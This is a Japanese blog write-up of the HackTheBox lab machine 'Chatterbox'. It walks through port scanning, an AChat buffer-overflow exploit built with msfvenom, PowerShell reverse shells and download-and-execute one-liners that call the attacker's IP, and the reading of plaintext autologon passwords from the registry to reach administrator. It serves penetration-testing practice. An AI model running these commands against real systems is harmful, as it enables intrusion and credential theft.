3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

【HackTheBox】Chatterbox - Writeup -

Posted at

前書き

マシンのフラグを取るためではなく、取る手立てとして参考してもらえば幸いです。
必要な情報は概要に書き記してありますので、そこを参照して下さい。
出来る限り自分で考えた後、どうしても無理であればWriteup本文を読んで下さい。
netcatなどの基本的接続プロセスは省略して書いています。
ファイルは全てpython -m SimpleHTTPServer 80でトランスファーしてます。

概要

  • バッファーオーバーフロー

  • Auto Logonにおけるレジスターのパスワード平文保存

  • フォルダーの間違った権限設定

学べる事/疑問点

icacls

権限を確認するためのコマンド。
Bashでいう、chmodchgroupである。

C:\>icacls "Program Files"
icacls "Program Files"
Program Files NT SERVICE\TrustedInstaller:(F)
              NT SERVICE\TrustedInstaller:(CI)(IO)(F)
              NT AUTHORITY\SYSTEM:(M)
              NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
              BUILTIN\Administrators:(M)
              BUILTIN\Administrators:(OI)(CI)(IO)(F)
              BUILTIN\Users:(RX)
              BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
              CREATOR OWNER:(OI)(CI)(IO)(F)

icacls "fileName" /grant user user権限を追加する。
icacls "fileName" /remove user user権限を削除する。

バッファーオーバーフロー

処理能力を超えるようなデータを送りつけて、プログラムに誤動作を起こさせる攻撃手段の一つ。

シェルコードを作成して、攻撃者マシンへ送りつける。

シェルコードにはbad charsと呼ばれるものがあるので、それらの文字列を使わないようにしてシェルコードを作成する。

例えば、0x00はヌルバイトと呼ばれ、C言語では文字列の終わりを意味するので、このヌルバイトは必ず抜かなければならない。出ないと、途中でシェルコードの読み込みが終わってしまう。

Auto Login

Windowsにおいて、自動ログインをさせるもの。
HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogonにパスワードが平文で保存されているので、危険。

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

とターミナルで打てば、ユーザーネームとパスワードが出てしまう。

本文

ポート捜索

nmap -vv  -sT -p1-10000 10.10.10.74

PORT     STATE SERVICE REASON
9255/tcp open  mon     syn-ack
9256/tcp open  unknown syn-ack

nmap -vv -P0 -sTUV --top-ports 10000 10.10.10.74 
#sTUV はTCP/UDP と --top-ports

普通のnmapだと何もなかったので、TCPフルスキャン(sTオプション)を行う。
これは時間がかかった。

PORT 9256はAchat System というサービスが稼働するポートらしいので、
早速exploit-db.comで調べてみると、エクスプロイトコードが出て来る。

バッファーオーバーフロー

マニュアル通りに書いてみる

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.47 LPORT=4444 -f python BufferRegister=EAX -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'

オプションは-bがbad charsを避けるため、-fは形式、-eはエンコーダー(shikataga_naiはbad chars指定が多すぎて使えなかった),-pはペイロード。

侵入 - Low Privileged Shell

早速、リバースシェルが帰って来るが、不安定。

パワーシェル/新しい安定したシェルでspawnさせたい。
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 を使用。

ファイルの最後列に追加: Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.47 -Port 8888

SystemInfo

Hotfix(es):208もあった。
色々試したが、上手くいかず。
Hotfixが多すぎる場合は、システム関連エクスプロイトは多いので、後回しにする。

whoami /priv

C:\Users\Alfred\Music>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege 

SeImpersonate/SeAssignPrimaryTokenが無いので、Impersonation PEは出来ない。

Unquoted Service

Unquopted Serviceが存在し、かつパスを変更して任意のバイナリーを実行できる。
ユーザーが実行しているバイナリーがあるかを探す。

C:\Users\Alfred\Music>wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """
DisplayName                                             Name                                 PathName                                                                                 StartMode  
ASP.NET State Service                                   aspnet_state                         C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe                           Disabled   
Microsoft .NET Framework NGEN v2.0.50727_X86            clr_optimization_v2.0.50727_32       C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe                               Disabled   
Microsoft .NET Framework NGEN v4.0.30319_X86            clr_optimization_v4.0.30319_32       C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe                               Auto       
Windows Media Center Receiver Service                   ehRecvr                              C:\Windows\ehome\ehRecvr.exe                                                             Manual     
Windows Media Center Scheduler Service                  ehSched                              C:\Windows\ehome\ehsched.exe                                                             Manual     
Windows Presentation Foundation Font Cache 3.0.0.0      FontCache3.0.0.0                     C:\Windows\Microsoft.Net\Framework\v3.0\WPF\PresentationFontCache.exe                    Manual     
Net.Pipe Listener Adapter                               NetPipeActivator                     C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe                              Disabled   
Net.Tcp Listener Adapter                                NetTcpActivator                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe                              Disabled   
Net.Tcp Port Sharing Service                            NetTcpPortSharing                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe                              Disabled   
Windows Modules Installer                               TrustedInstaller                     C:\Windows\servicing\TrustedInstaller.exe                                                Manual

見たところ、興味を引かせるサービスは稼働していない。

ChecksALL

クレデンシャルが漏れていたら表示してくれる。
unattend.xmlや色々なレジスターを自動で捜索してくれるモジュール

PS C:\Users\Alfred> Import-Module ./Powerup.ps1
# エラーが表示されて出来ない

# 定番
## ダウンロードと実行を同時に行う
PS C:\Users\Alfred> iex(new-object net.webclient).downloadstring('http://10.10.14.47/PowerUp.ps1')

PS C:\Users\Alfred> Invoke-Allchecks

DefaultDomainName    : 
DefaultUserName      : Alfred
DefaultPassword      : Welcome1!
AltDefaultDomainName : 
AltDefaultUserName   : 
AltDefaultPassword   : 
Check                : Registry Autologons

UnattendPath : C:\Windows\Panther\Unattend.xml
Name         : C:\Windows\Panther\Unattend.xml
Check        : Unattended Install Files

Default*より、AlfredのパスワードはWelcome1!である。

Windows AutoLogonを使用してるので、パスワードが平文で保存されている。

管理者も同じパスワードを使っていればどうなるか?
管理者の権限を使ってファイルを実行できる可能性がある。

Bashでいう、sudo -u Administrator ./reverse-shellみたいなのをする。

Windows Cmdletだと全てがオブジェクトなので、手間がかかる。
$var = new-object hogehogeみたいにする。

管理者権限でファイルを実行

#パスワードオブジェクト:
$password = convertto-securestring -AsPlainText -Force -String "Welcome1!" 
 
#クレデンシャルオブジェクト
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "chatterbox\administrator",$password;

#実行
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.17/Invoke-PowerShellTcp.ps1')" -Credential $credential

侵入 - Privileged Shell

listening on [any] 8889 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.74] 49184
Windows PowerShell running as user Administrator on CHATTERBOX
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\Music>whoami
chatterbox\administrator
PS C:\Users\Alfred\Desktop> type user.txt
72290...334
PS C:\Users\Administrator\Desktop> type root.txt
a673...c7c

管理者は同じパスワードを使っていた模様で、容易にログインが出来た。

感想

最初にパーミッションの確認をすると、


C:\Users>icacls "Administrator"
Administrator NT AUTHORITY\SYSTEM:(OI)(CI)(F)
              CHATTERBOX\Administrator:(OI)(CI)(F)
              BUILTIN\Administrators:(OI)(CI)(F)
              CHATTERBOX\Alfred:(OI)(CI)(F)

フォルダー権限が弱いので、変更することが出来ます。
cacls "Administrator" /grand Alfredでproof.txtが見れる。
しかし、管理者シェルを得るのが目的なので、本文では書きませんでした。

読んでくれてありがとうございます!

By MR-WACKER

3
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?